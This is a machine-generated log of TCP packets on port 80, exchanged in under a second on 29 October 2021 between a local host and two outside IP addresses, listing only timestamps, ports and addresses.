Oct 29, 2021 20:30:04.080166101 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.080171108 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.080189943 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.080214024 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.080236912 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.080260992 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.080271959 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.080276966 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.080297947 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.080322027 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.080344915 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.080367088 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.080380917 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.080384970 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.080404043 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.080427885 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.080451012 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.080473900 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.080495119 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.080502033 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.080516100 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.080538988 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.080558062 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.080579996 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.080595016 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.080600023 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.080614090 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.080635071 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.080656052 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.080677986 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.080688953 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.080693007 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.080734015 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.080754995 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.080775023 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.080795050 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.080815077 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.080820084 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.080828905 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.080866098 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.080904961 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.080914021 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.080919027 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.080940008 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.080946922 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.080951929 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.080971956 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.081000090 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.081017971 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.081023932 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.081041098 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.081065893 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.081089020 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.081105947 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.081116915 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.081130028 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.081142902 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.081166983 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.081182957 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.081197977 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.081217051 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.081238985 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.081259966 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.081275940 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.081280947 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.081306934 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.081327915 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.081347942 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.081368923 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.081379890 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.081388950 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.081410885 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.081435919 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.081454039 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.081470966 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.081492901 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.081516027 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.081536055 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.081557035 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.081562042 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.081571102 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.081588030 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.081609011 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.081625938 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.081641912 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.081650019 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.081653118 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.081667900 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.081685066 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.081701040 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.081717968 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.081727982 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.081731081 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.081749916 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.081757069 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.081773043 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.081790924 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.081805944 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.081810951 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.081825018 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.081834078 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.081854105 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.081872940 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.081892967 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.081912041 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.081926107 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.081931114 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.081947088 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.081969976 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.081994057 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.082015991 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.082031965 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.082036018 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.082051992 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.082073927 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.082097054 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.082115889 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.082134008 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.082138062 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.082149982 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.082173109 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.082194090 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.082211971 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.082231998 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.082237959 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.082241058 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.082254887 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.082271099 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.082287073 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.082303047 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.082305908 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.082317114 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.082343102 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.082353115 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.082372904 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.082391977 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.082398891 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.082401991 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.082417011 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.082432032 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.082448006 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.082463026 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.082473040 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.082475901 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.082489967 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.082505941 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.082521915 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.082536936 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.082545996 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.082549095 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.082562923 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.082580090 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.082595110 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.082602978 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.082606077 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.082619905 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.082634926 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.082650900 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.082660913 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.082664013 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.082678080 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.082694054 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.082710028 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.082720995 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.082724094 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.082736015 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.082751036 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.082777023 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.082782030 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.082784891 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.082798958 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.082814932 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.082830906 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.082839012 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.082843065 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.082856894 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.082873106 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.082889080 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.082896948 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.082900047 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.082915068 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.082931042 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.082946062 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.082953930 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.082957029 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.082972050 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.082988024 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.083013058 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.083015919 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.085716009 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.090797901 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:04.125201941 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.125225067 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.125282049 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.125291109 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.133090973 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.133584976 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.133600950 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.133618116 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.133634090 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.133649111 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.133656025 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:04.133661032 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:04.133682013 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:04.133687973 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:04.164172888 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.164203882 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.164227009 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.164247990 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.164271116 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.164288998 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.164305925 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.164314985 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.164319038 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.164334059 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.164356947 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.164377928 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.164381981 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.164391041 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.164413929 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.164433002 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.164443016 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.164446115 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.164460897 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.164472103 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.164474964 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.164490938 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.164515018 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.164539099 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.164546013 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.164550066 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.164563894 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.164573908 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.164577007 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.164597034 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.164618969 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.164630890 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.164635897 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.164654970 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.164671898 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.164689064 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.164697886 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.164700985 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.164716959 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.164738894 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.164761066 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.164777040 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.164793015 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.164803028 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.164805889 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.164834976 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.164864063 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.164874077 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.164891958 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.164911985 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.164938927 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.164956093 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.164966106 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.164969921 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.165004969 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.165013075 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.165018082 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.165035009 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.165051937 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.165067911 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.165079117 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.165082932 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.165103912 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.165127993 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.165142059 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.165146112 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.165158987 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.165174007 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.165190935 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.165199041 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.165203094 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.165224075 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.165235996 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.165240049 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.165256977 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.165273905 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.165288925 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.165298939 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.165302992 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.165322065 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.165347099 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.165366888 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.165370941 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.165376902 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.165394068 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.165409088 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.165419102 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.165422916 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.165443897 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.165457964 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.165467024 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.165482998 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.165492058 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.165507078 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.165529966 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.165541887 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.165546894 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.165568113 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.165585995 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.165606022 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.165611982 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.165615082 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.165628910 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.165649891 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.165657043 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.165662050 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.165690899 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.165699959 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.165704966 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.165721893 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.165734053 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.165752888 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.165776968 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.165787935 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.165791988 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.165808916 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.165826082 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.165841103 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.165849924 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.165853024 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.165873051 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.165895939 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.165899992 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.165903091 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:04.165913105 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.165930033 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.165941000 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:04.165951967 CEST	49877	80	192.168.2.3	193.56.146.214
